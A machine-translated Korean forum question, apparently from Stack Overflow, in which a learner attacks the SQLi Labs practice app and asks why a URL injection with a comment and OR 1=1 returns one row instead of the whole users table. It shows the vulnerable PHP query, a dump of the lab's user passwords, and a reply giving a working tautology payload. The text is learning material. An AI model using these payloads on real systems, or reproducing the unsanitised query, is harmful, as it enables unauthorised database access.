-1
일부 SQL 주입 기본 사항을 배우고 있습니다. 나는 취약한 애플리케이션 (SQLi Labs)을 가지고 있기 때문에 소스 코드를 볼 수 있으며 mysql 인터페이스와 동일한 결과를 제공하기 위해 URL을 매개 변수화해야하는 방법을 파악하려고 시도 할 수있다. 그러나 내가 해결할 수없는 차이가 있으므로 제발 도와주세요.SQL 삽입 - 웹 ui와 mysql 결과 비교
http://192.168.19.155/sqli-labs/Less-1/?id=2--%20%27%27%20OR%201=1
URL은 다시 한 행을 나에게 제공합니다
mysql> select * from users where id=3--'' OR 1=1;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | [email protected] |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
이것은 URL은 다음과 같습니다
$sql="SELECT * FROM users WHERE id='$id'";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
이 MySQL의 쿼리는 다음과 같습니다
이
은 PHP 코드입니다 ("? id = 2"옵션에서 정의 된) 나머지 쿼리 (- % 20 % 27 % 27 % 20 OR % 201 = 1)는 무시되는 것 같습니다.URL 쿼리는 mysql 인터페이스처럼 전체 사용자 테이블을 돌려줘야합니다. 입력 필터링이 없으므로 URL 결과가 mysql 인터페이스 출력과 같지 않은 이유를 이해할 수 없습니다. 제발 도와주세요!
감사합니다. Erik
: 당신은 예상되는 응답을하는 방식을 얻기 위해 스크립트를 수정 할 수 있는가? 'ID = 2 % 27 % 20OR % 20 % 271퍼센트 271' 트릭을 할해야 27 = %, 및 상당히 간단합니다. 나는 당신이 그 의견을 가지고 무엇을 성취하려고하는지 확신하지 못한다. '--'는 당신이 [여기] (https://dev.mysql.com/doc/refman/5.7/en/ansi-diff-comments.html)를 볼 수 있기 때문에 조금 까다 롭습니다. 주석 구문 사용을위한 다른 옵션을 보려면 9.6 절을 클릭하십시오. – jh1711